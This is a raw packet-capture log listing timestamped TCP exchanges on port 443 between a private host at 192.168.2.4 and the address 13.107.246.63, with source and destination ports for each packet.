Dec 6, 2024 00:17:28.296444893 CET	443	50196	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.296495914 CET	50196	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.296556950 CET	50196	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.296567917 CET	443	50196	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.490818977 CET	443	50192	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.494086981 CET	443	50192	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.494129896 CET	443	50192	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.494168997 CET	50192	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.494203091 CET	50192	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.494259119 CET	50192	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.494270086 CET	443	50192	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.494283915 CET	50192	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.494287968 CET	443	50192	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.496886015 CET	50197	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.496903896 CET	443	50197	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:28.496967077 CET	50197	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.497112989 CET	50197	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:28.497123003 CET	443	50197	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:29.703593969 CET	443	50193	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:29.757663012 CET	50193	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:29.787081003 CET	50193	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:29.787091017 CET	443	50193	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:29.787492037 CET	50193	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:29.787497044 CET	443	50193	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.011550903 CET	443	50195	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.011838913 CET	443	50194	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.015305996 CET	443	50196	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.016297102 CET	50195	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.016318083 CET	443	50195	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.016911030 CET	50195	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.016916990 CET	443	50195	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.017225027 CET	50194	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.017245054 CET	443	50194	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.017600060 CET	50194	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.017605066 CET	443	50194	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.064696074 CET	50196	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.071629047 CET	50196	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.071639061 CET	443	50196	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.072069883 CET	50196	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.072074890 CET	443	50196	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.138304949 CET	443	50193	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.141411066 CET	443	50193	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.142832994 CET	50193	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.154300928 CET	50193	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.154316902 CET	443	50193	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.154325008 CET	50193	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.154330969 CET	443	50193	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.162595987 CET	50198	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.162621021 CET	443	50198	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.162683964 CET	50198	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.163130045 CET	50198	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.163139105 CET	443	50198	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.211474895 CET	443	50197	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.211855888 CET	50197	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.211878061 CET	443	50197	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.212285995 CET	50197	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.212291956 CET	443	50197	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.441911936 CET	443	50195	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.445008993 CET	443	50195	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.446923971 CET	50195	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.446999073 CET	50195	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.447015047 CET	443	50195	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.447022915 CET	50195	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.447027922 CET	443	50195	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.449596882 CET	50199	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.449618101 CET	443	50199	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.449707985 CET	50199	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.449826956 CET	50199	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.449836969 CET	443	50199	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.453207016 CET	443	50194	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.454926014 CET	443	50196	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.456271887 CET	443	50194	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.456316948 CET	443	50194	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.456350088 CET	50194	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.456389904 CET	50194	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.456433058 CET	50194	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.456444025 CET	443	50194	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.456453085 CET	50194	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.456456900 CET	443	50194	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.457989931 CET	443	50196	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.458051920 CET	50196	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.458111048 CET	50196	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.458122015 CET	443	50196	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.458132982 CET	50196	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.458137989 CET	443	50196	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.459359884 CET	50200	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.459382057 CET	443	50200	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.459486008 CET	50200	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.460001945 CET	50200	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.460020065 CET	443	50200	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.460330009 CET	50201	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.460361958 CET	443	50201	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.460421085 CET	50201	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.460535049 CET	50201	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.460551023 CET	443	50201	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.639319897 CET	443	50197	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.639652014 CET	443	50197	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.639683962 CET	443	50197	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.639705896 CET	50197	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.639746904 CET	50197	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.639790058 CET	50197	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.639796972 CET	443	50197	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.639833927 CET	50197	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.639838934 CET	443	50197	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.642527103 CET	50202	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.642541885 CET	443	50202	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:30.642623901 CET	50202	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.642855883 CET	50202	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:30.642867088 CET	443	50202	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:31.880048037 CET	443	50198	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:31.880454063 CET	50198	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:31.880476952 CET	443	50198	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:31.880949020 CET	50198	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:31.880954027 CET	443	50198	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.173901081 CET	443	50199	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.174496889 CET	50199	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.174515009 CET	443	50199	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.174896955 CET	50199	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.174900055 CET	443	50199	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.190804005 CET	443	50200	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.191134930 CET	50200	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.191159010 CET	443	50200	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.191508055 CET	50200	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.191514969 CET	443	50200	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.227190018 CET	443	50201	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.231087923 CET	50201	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.231105089 CET	443	50201	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.231498003 CET	50201	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.231503963 CET	443	50201	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.315449953 CET	443	50198	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.318730116 CET	443	50198	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.318834066 CET	50198	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.319011927 CET	50198	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.319025993 CET	443	50198	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.321799040 CET	50203	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.321835041 CET	443	50203	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.321902990 CET	50203	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.322066069 CET	50203	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.322082043 CET	443	50203	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.393002033 CET	443	50202	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.408318996 CET	50202	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.408339977 CET	443	50202	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.408895016 CET	50202	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.408900023 CET	443	50202	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.611099958 CET	443	50199	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.611156940 CET	443	50199	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.611213923 CET	50199	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.625750065 CET	50199	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.625765085 CET	443	50199	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.625773907 CET	50199	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.625778913 CET	443	50199	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.649161100 CET	50204	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.649190903 CET	443	50204	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.649255991 CET	50204	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.652672052 CET	50204	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.652683020 CET	443	50204	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.652751923 CET	443	50200	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.655913115 CET	443	50200	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.655955076 CET	443	50200	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.655966043 CET	50200	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.655994892 CET	50200	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.656554937 CET	50200	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.656554937 CET	50200	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.656567097 CET	443	50200	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.656574011 CET	443	50200	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.658618927 CET	443	50201	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.658672094 CET	443	50201	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.658711910 CET	50201	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.663456917 CET	50201	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.663475037 CET	443	50201	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.663482904 CET	50201	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.663489103 CET	443	50201	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.669359922 CET	50205	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.669400930 CET	443	50205	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.669459105 CET	50205	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.670263052 CET	50206	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.670270920 CET	443	50206	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.670320034 CET	50206	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.670594931 CET	50206	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.670603991 CET	443	50206	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.670751095 CET	50205	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.670767069 CET	443	50205	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.830203056 CET	443	50202	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.833225965 CET	443	50202	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.833266020 CET	443	50202	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.833302021 CET	50202	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.833352089 CET	50202	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.866848946 CET	50202	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.866858006 CET	443	50202	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.866868019 CET	50202	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.866873026 CET	443	50202	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.892560959 CET	50207	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.892601013 CET	443	50207	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:32.892657995 CET	50207	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.893172979 CET	50207	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:32.893184900 CET	443	50207	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.039580107 CET	443	50203	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.040949106 CET	50203	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.040966034 CET	443	50203	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.041465044 CET	50203	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.041474104 CET	443	50203	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.376209974 CET	443	50204	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.377161980 CET	50204	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.377207994 CET	443	50204	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.377655029 CET	50204	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.377660036 CET	443	50204	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.388155937 CET	443	50206	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.388736963 CET	50206	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.388751984 CET	443	50206	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.389061928 CET	50206	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.389066935 CET	443	50206	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.395021915 CET	443	50205	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.395534992 CET	50205	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.395558119 CET	443	50205	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.395824909 CET	50205	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.395829916 CET	443	50205	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.476088047 CET	443	50203	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.476193905 CET	443	50203	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.476274014 CET	50203	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.476536036 CET	50203	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.476553917 CET	443	50203	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.476563931 CET	50203	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.476569891 CET	443	50203	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.479135036 CET	50208	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.479176044 CET	443	50208	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.479377031 CET	50208	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.479536057 CET	50208	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.479545116 CET	443	50208	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.601424932 CET	443	50207	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.602010965 CET	50207	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.602036953 CET	443	50207	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.602586031 CET	50207	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.602590084 CET	443	50207	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.806710005 CET	443	50204	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.806776047 CET	443	50204	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.806852102 CET	50204	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.807058096 CET	50204	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.807075024 CET	443	50204	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.807085991 CET	50204	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.807092905 CET	443	50204	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.809828043 CET	50209	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.809870958 CET	443	50209	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.809945107 CET	50209	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.810117960 CET	50209	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.810138941 CET	443	50209	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.825378895 CET	443	50206	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.825402975 CET	443	50206	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.825433016 CET	443	50206	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.825454950 CET	50206	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.825489044 CET	50206	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.825676918 CET	50206	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.825680971 CET	443	50206	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.825705051 CET	50206	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.825709105 CET	443	50206	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.828543901 CET	50210	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.828568935 CET	443	50210	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.828649998 CET	50210	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.828768015 CET	50210	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.828778982 CET	443	50210	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.832025051 CET	443	50205	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.835335016 CET	443	50205	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.835402012 CET	50205	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.835433006 CET	50205	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.835449934 CET	443	50205	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.835458994 CET	50205	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.835464001 CET	443	50205	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.837357044 CET	50211	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.837372065 CET	443	50211	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:34.837450981 CET	50211	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.837574959 CET	50211	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:34.837587118 CET	443	50211	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:35.042047977 CET	443	50207	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:35.042094946 CET	443	50207	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:35.042151928 CET	50207	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:35.042303085 CET	50207	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:35.042318106 CET	443	50207	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:35.042327881 CET	50207	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:35.042332888 CET	443	50207	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:35.044449091 CET	50212	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:35.044477940 CET	443	50212	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:35.044552088 CET	50212	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:35.044682980 CET	50212	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:35.044693947 CET	443	50212	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.004518032 CET	443	50208	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.005027056 CET	50208	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.005043983 CET	443	50208	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.005508900 CET	50208	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.005512953 CET	443	50208	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.464124918 CET	443	50208	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.464163065 CET	443	50208	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.464198112 CET	443	50208	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.464310884 CET	50208	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.464732885 CET	50208	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.464745045 CET	443	50208	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.464760065 CET	50208	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.464765072 CET	443	50208	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.467648029 CET	50213	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.467683077 CET	443	50213	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.467772007 CET	50213	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.467941999 CET	50213	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.467955112 CET	443	50213	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.517146111 CET	443	50209	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.517770052 CET	50209	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.517788887 CET	443	50209	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.518229008 CET	50209	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.518234968 CET	443	50209	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.539614916 CET	443	50210	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.541598082 CET	50210	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.541615009 CET	443	50210	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.542165041 CET	50210	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.542169094 CET	443	50210	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.566029072 CET	443	50211	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.566385031 CET	50211	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.566399097 CET	443	50211	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.566798925 CET	50211	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.566802979 CET	443	50211	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.775099993 CET	443	50212	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.776027918 CET	50212	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.776050091 CET	443	50212	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.776262999 CET	50212	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.776268005 CET	443	50212	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.969033957 CET	443	50209	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.969096899 CET	443	50209	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.969158888 CET	50209	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.969352007 CET	50209	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.969369888 CET	443	50209	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.969378948 CET	50209	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.969388008 CET	443	50209	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.972345114 CET	443	50210	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.972418070 CET	50214	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.972440958 CET	443	50214	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.972505093 CET	50214	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.972651958 CET	50214	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.972662926 CET	443	50214	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.975886106 CET	443	50210	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.975922108 CET	443	50210	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:36.975935936 CET	50210	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.975976944 CET	50210	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.976003885 CET	50210	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:36.976017952 CET	443	50210	13.107.246.63	192.168.2.4
